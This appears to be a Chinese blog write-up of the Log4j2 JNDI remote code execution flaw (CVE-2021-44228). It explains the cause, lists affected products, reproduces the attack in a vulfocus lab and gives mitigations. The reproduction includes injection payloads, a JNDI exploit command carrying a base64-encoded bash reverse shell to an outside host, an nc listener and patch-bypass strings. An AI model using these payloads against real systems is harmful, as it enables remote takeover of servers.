log4j2远程代码执行漏洞

Apache Log4j 2远程代码执行漏洞( CVE-2021-44228)

漏洞描述

Apache log4j是Apache的一个开源项目,Apache log4j 2是一个就Java的日志记录工具。该工具重写了log4j框架,并且引入了大量丰富的特性,可以控制日志信息输送的目的地为控制台、文件、GUI组建等,通过定义每一条日志信息的级别,能够更加细致地控制日志的生成过程。

log4j2中存在JNDI注入漏洞,当程序记录用户输入的数据时,即可触发该漏洞。成功利用该漏洞可在目标服务器上执行任意代码

漏洞原理

攻击者可以通过 log4j 的 lookup 替换功能向其配置文件的任意位置注入代码(类似 SQL 注入,把 变量替换为{实际代码}),再加上这些版本中用到的 JNDI 特性并没有为 LDAP 提供足够的保护,使得注入的任意代码都能被执行。

先说下利用exp:${jndi:rmi://127.0.0.1:1099/exp} (rmi/ldap ,两者部分功能类似,但也有不同点) 再直白点来说就是 用户提交的${jndi:rmi://127.0.0.1:1099/exp} ,被日志捕获到,然后如果log4j2 又开启了 Jndi Lookup功能,就能解析用户提交的exp,发送rmi请求,远程调用一些反序类化的方法。

1
2
3
4
JNDI:Java 命名与目录接口,提供了用名称来访问资源的能力
LDAP:轻型目录访问协议,定义了如何访问目录服务中的内容

两者配合,可以完成对服务器目录的操作,比如增删改查。

影响范围

  • Apache Log4j 2.x < 2.15.0-rc2
  • 供应链影响范围
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
Spring-Boot-strater-log4j2

Apache Struts2

Apache Solr

Dubbo

Redis

Logstash

Kafka

Apache Flink

Apache Druid

ElasticSearch

Flume


漏洞复现

漏洞环境:vulfocus(http://vulfocus.fofa.so/#/dashboard

vulfocus.fofa.so:44873

image-20211213002417059

漏洞验证

打开http://www.dnslog.cn/ get subdomain

image-20211213002813058

输入payload

1
2
3
4
payload=${jndi:ldap://ip/exp}

payload 这个参数名字不能错
ip暂时换上对应域名

image-20211213002723533

返回dnslog,refresh一下,可以看到记录,说明,请求了该域名,证明漏洞可能存在(极大几率)

image-20211213003146701

反弹shell

需要jndi注入工具构造反弹shell命令

1
2
3
4
5
6
7
$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]
-C - 远程class文件中要执行的命令。命令会被作为参数传入Runtime.getRuntime().exec(),所以需要确保命令传入exec()方法可执行。
-A - 服务器地址,可以是IP地址或者域名


java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xLjEuMS4xLzEwMDE1IDA+JjE=}|{base64,-d}|{bash,-i}" -A "1.1.1.1"

YmFzaCAtaSA+JiAvZGV2L3RjcC8xLjEuMS4xLzEwMDE1IDA+JjE= 是反弹shell的base64加密 只需要修改成反弹到vps的ip端口

image-20211213004824709

-A “1.1.1.1” 1.1.1.1换成自己vps的ip

在vps上启动 JNDI-Injection-Exploit,这里生成的有 JNDI链接,一会使用最后 JNDI链接,其他的没有成功 (确保 109913898180端口可用,不被其他程序占用)

image-20211213013010020

再开个框,对我们反弹shell的端口进行监听

1
nc -lvnp 10015

image-20211213005641455

payload=${jndi:ldap://ip/exp} 修改为 payload=${jndi:rmi://106.xx.xx.xx:1099/jwbmm8} (ldap://ip/exp替换成生成的 JNDI链接,上面生成的有)

image-20211213012806412

复现时间超时,靶场端口变了,不影响

image-20211213013101617

image-20211213012602963

成功反弹shell

image-20211213012641273

找到flag

image-20211213013340992

注意:vps对应端口一定要开放,


参考

参考1

原理参考2

原理参考3

修复

补丁之前

  1. 可升级jdk版本至6u211 / 7u201 / 8u191 / 11.0.1以上,可以在一定程度上限制JNDI等漏洞利用方式。
  2. 关闭lookup功能,即:设置 JVM 启动参数 - Dlog4j2.formatMsgNoLookups=true

更新到rce1

https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc1。

但不久就被绕过了,经过测试发现URI中不进行URL编码会报这个错,加个空格即可触发${jndi:ldap://127.0.0.1:1389/ badClassName}(需要用户开启lookup功能的基础上才可以)

1
${${::-j}ndi:rmi://ip:port/exp}

更新到rce2

https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2

貌似又被绕过了


下次分析下fastjson反序列化漏洞原理,和这个漏洞类似

  • Copyrights © 2020-2023 Shmily-ing
  • Visitors: | Views:

请我喝杯咖啡吧~

支付宝
微信